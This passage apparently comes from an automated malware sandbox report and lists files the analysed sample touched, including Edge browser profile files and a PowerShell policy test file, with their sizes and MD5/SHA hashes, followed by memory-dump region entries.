                                    d53ac35ab3976e67caeed75c4d44ffc1

                                    SHA1

                                    c139ab66d75dc06f98ada34b5baf4d5693266176

                                    SHA256

                                    647867c7236bcb78b7d585b476d82a101a077fac43c78dc59e612253fbf69437

                                    SHA512

                                    391355c71734ded913239a6db10a3202087e756bccc8e29411108f21b3f2460d9a9c606619aadd785285be70eddcf61ef9519441cd387cd3823c1399a6967cc2

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\CURRENT

                                    Filesize

                                    16B

                                    MD5

                                    46295cac801e5d4857d09837238a6394

                                    SHA1

                                    44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                    SHA256

                                    0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                    SHA512

                                    8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001

                                    Filesize

                                    41B

                                    MD5

                                    5af87dfd673ba2115e2fcf5cfdb727ab

                                    SHA1

                                    d5b5bbf396dc291274584ef71f444f420b6056f1

                                    SHA256

                                    f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

                                    SHA512

                                    de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                    Filesize

                                    1KB

                                    MD5

                                    65845186609b038ed3d478da0a535e40

                                    SHA1

                                    46b7c80d165cd25c47af78998a9cbe02d9cc3b66

                                    SHA256

                                    22380d137e911e9d80048fde37e6b76e49e6d075c54564fcee4c79e5ef365a33

                                    SHA512

                                    6b6563862fa8d3a1f2ce561dc35b0cc4b34cab36c20823dae0146a08b867e014e87bf14bba5982920edf8379e3d0ae640edaa32888364b46aecfc774f27b5998

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                    Filesize

                                    1KB

                                    MD5

                                    ac9aef30b90212ce0fde8ea81fc07c5b

                                    SHA1

                                    22631a361ab758546b47e65b06971aba7d97b06a

                                    SHA256

                                    4f01609ed1c69467abfdc1ad3d873930f6fe6a48712ac050b618a93c8c5eca3a

                                    SHA512

                                    e9bba0d4b2990cd87292b998d1fdddb1e03dec645f5853c709cab92ddad28299d6cea498ac921ecfd5ac1d73a9e4fd45cb81fd0603031a7b86d485200db40812

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                    Filesize

                                    16B

                                    MD5

                                    206702161f94c5cd39fadd03f4014d98

                                    SHA1

                                    bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                    SHA256

                                    1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                    SHA512

                                    0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                    Filesize

                                    9KB

                                    MD5

                                    6db67cf321799c33d70daa8cf49d954b

                                    SHA1

                                    c492d1625d187e958550c037012d172066361c02

                                    SHA256

                                    9d04df674fbeed5385a72cf2308f936a6a37e2a17ec4f78bdc4db6136b4618c6

                                    SHA512

                                    3a5c3abdbd239458b5df1ab83c52a401286ca3ca84124cdbe127bfc28da0c8704d320f006fc31830fa390eca0aae10e81afb64ea7500f8401e14fa3ac9cad09c

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                    Filesize

                                    12KB

                                    MD5

                                    5c71c8ba1ae0838e1853cdf31944bf64

                                    SHA1

                                    485de64b58266834ec24de7e498f666c2f7bd695

                                    SHA256

                                    21583ab353a9ccbcd6a6c3299aa4fb75302ecabac3c0867556210acb1bb3153d

                                    SHA512

                                    b083a075f3171a4e67a6af4b3a045d63859bcbca500d233353e9bcec59f0bc31cdee50fb5da5dda929f25ff83ca4f19bedbcf1ab5cd7aa6c4b7906f40091fd21

                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                    Filesize

                                    64B

                                    MD5

                                    d8b9a260789a22d72263ef3bb119108c

                                    SHA1

                                    376a9bd48726f422679f2cd65003442c0b6f6dd5

                                    SHA256

                                    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

                                    SHA512

                                    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n2500idz.ian.ps1

                                    Filesize

                                    60B

                                    MD5

                                    d17fe0a3f47be24a6453e9ef58c94641

                                    SHA1

                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                    SHA256

                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                    SHA512

                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

                                    Filesize

                                    3KB

                                    MD5

                                    d80d3356c3629e49befeb57c350f81e4

                                    SHA1

                                    7653f40ccde19b83fd2d5ae4e5350b5aaed0f374

                                    SHA256

                                    3f000fddb75201687fdc8a16904445fc34a1647ad1571950bdc10d50eca952c9

                                    SHA512

                                    3cce87c8640221e3769234ec3ead07bc9e2e9c321e4a11ea35f347a0f9cfee395bce213b36693553740b1e107fc8bb8f90c4cd74916a897042e6c5fc674281ef

                                  • memory/1752-332-0x0000014A44310000-0x0000014A44320000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/1752-331-0x0000014A44310000-0x0000014A44320000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/1752-330-0x0000014A44310000-0x0000014A44320000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/1752-154-0x0000014A44310000-0x0000014A44320000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/1752-152-0x0000014A44310000-0x0000014A44320000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/1752-153-0x0000014A44310000-0x0000014A44320000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/1752-138-0x0000014A442E0000-0x0000014A44302000-memory.dmp

                                    Filesize

                                    136KB

                                  • memory/2824-169-0x00007FFBC97D0000-0x00007FFBC97D1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/4912-334-0x000002D3C46A0000-0x000002D3C46B0000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/4912-333-0x000002D3C46A0000-0x000002D3C46B0000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/4912-156-0x000002D3C46A0000-0x000002D3C46B0000-memory.dmp

                                    Filesize

                                    64KB

                                  • memory/4912-155-0x000002D3C46A0000-0x000002D3C46B0000-memory.dmp

                                    Filesize

                                    64KB